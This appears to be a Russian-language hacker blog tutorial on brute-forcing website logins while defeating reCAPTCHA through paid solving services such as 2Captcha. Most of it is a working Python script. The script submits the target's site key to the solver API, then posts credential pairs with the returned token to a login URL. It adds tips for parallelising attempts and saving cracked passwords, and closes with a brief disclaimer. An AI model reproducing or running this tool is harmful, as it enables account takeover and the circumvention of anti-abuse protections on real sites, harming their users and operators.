58
Привет, кибер-волки и мастера автоматизации! Сегодня мы говорим о брутфорсе нового уровня — обходим CAPTCHA, используя сторонние сервисы вроде 2Captcha или Anti-Captcha. Это не просто “взлом для ленивых”, это способ переложить рутину на чужие плечи, пока твой скрипт делает грязную работу. Я покажу, как настроить автоматизацию через API этих сервисов, дам рабочий код на Python и поделюсь лайфхаками, чтобы выжать максимум из этого подхода. Всё с хардкорным подходом и без лишней воды. Поехали! 💥
Зачем нужны CAPTCHA-сервисы и как это работает?
CAPTCHA (Completely Automated Public Turing test to tell Computers and Humans Apart) — это головная боль для любого, кто занимается автоматизацией. Брутфорс, парсинг, регистрация аккаунтов — везде эти чертовы картинки или “поставь галочку”. Решать их вручную? Нет, спасибо. Вот где на сцену выходят сервисы типа 2Captcha и Anti-Captcha.
Принцип работы:
Почему это годно для брутфорса?
Но помни: этот подход стоит денег (обычно 1-3$ за 1000 решений). Если бюджет не твой конёк, ищи бесплатные альтернативы или свои нейросети для распознавания (об этом как-нибудь в другой раз).
Настройка и автоматизация через API 2Captcha/Anti-Captcha
Сегодня разберём работу с 2Captcha, но код легко адаптировать под Anti-Captcha — API у них похожи. Мы напишем скрипт для брутфорса с автоматическим решением CAPTCHA через их сервис.
Что нужно:
requests
(установи через pip install requests
).Код: Брутфорс с решением CAPTCHA через 2Captcha API
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 |
import requests import time from urllib.parse import quote # Настройки API_KEY = "YOUR_2CAPTCHA_API_KEY" # Замени на свой ключ TARGET_URL = "http://example.com/login" # Целевой сайт SITE_KEY = "6Le-wvkSAAAAAPBMRTvw0Q4Muexq9bi0DJwx_mJ-" # reCAPTCHA site key (берешь из HTML сайта) PAGE_URL = "http://example.com" # URL страницы с CAPTCHA # Список логинов и паролей для брутфорса (тестовый) credentials = [ ("user1", "pass1"), ("user2", "pass2"), ("admin", "123456"), ] def solve_recaptcha(api_key, site_key, url): print("Отправляем CAPTCHA на решение...") # Шаг 1: Отправляем запрос на решение reCAPTCHA payload = { "key": api_key, "method": "userrecaptcha", "googlekey": site_key, "pageurl": url, "json": 1 } response = requests.post("http://2captcha.com/in.php", data=payload).json() if response["status"] != 1: print("Ошибка отправки CAPTCHA:", response["request"]) return None captcha_id = response["request"] print(f"CAPTCHA отправлена, ID: {captcha_id}") # Шаг 2: Ждём решения (проверяем каждые 5 секунд) while True: result = requests.get(f"http://2captcha.com/res.php?key={api_key}&action=get&id={captcha_id}&json=1").json() if result["status"] == 1: print("CAPTCHA решена!") return result["request"] elif "CAPCHA_NOT_READY" not in result["request"]: print("Ошибка решения CAPTCHA:", result["request"]) return None print("Ждём решения...") time.sleep(5) def brute_force_login(username, password, captcha_token): print(f"Пробуем логин: {username}, пароль: {password}") payload = { "username": username, "password": password, "g-recaptcha-response": captcha_token # Токен от reCAPTCHA } response = requests.post(TARGET_URL, data=payload) if "login successful" in response.text.lower(): # Условие успеха (адаптируй под сайт) print(f"Успех! Логин: {username}, Пароль: {password}") return True else: print("Неудача, пробуем дальше...") return False def main(): for username, password in credentials: # Решаем CAPTCHA captcha_token = solve_recaptcha(API_KEY, SITE_KEY, PAGE_URL) if captcha_token: # Пробуем логин if brute_force_login(username, password, captcha_token): break # Если успех, останавливаемся else: print("Не удалось решить CAPTCHA, пропускаем...") continue if __name__ == "__main__": main() |
Как это работает?
solve_recaptcha
отправляет данные reCAPTCHA на 2Captcha через API. Сначала ты посылаешь запрос с site_key
(уникальный ключ reCAPTCHA с сайта) и URL страницы. Затем ждёшь ответа, периодически проверяя статус.brute_force_login
использует полученный токен CAPTCHA и пытается войти с текущей парой логин-пароль.Настройка и запуск
API_KEY
.TARGET_URL
, SITE_KEY
и PAGE_URL
под свой целевой сайт. SITE_KEY
можно найти в HTML-коде страницы (ищи data-sitekey
в теге reCAPTCHA).python brute_captcha.py
Лайфхаки для хардкорных
threading
или asyncio
, чтобы решать несколько CAPTCHA одновременно и брутить быстрее.
1 2 |
with open("success.txt", "a") as f: f.write(f"Успех! Логин: {username}, Пароль: {password}\n") |
Важное предупреждение
Этот материал исключительно для образовательных целей. Брутфорс без явного разрешения владельца ресурса — это нарушение закона. Тестируй только на своих ресурсах или в рамках программ bug bounty с письменным согласием. Я не несу ответственности за твои действия. Хакер должен быть умным и этичным!
Что дальше?
Хочешь углубиться? Вот несколько идей для прокачки:
requests
или aiohttp
.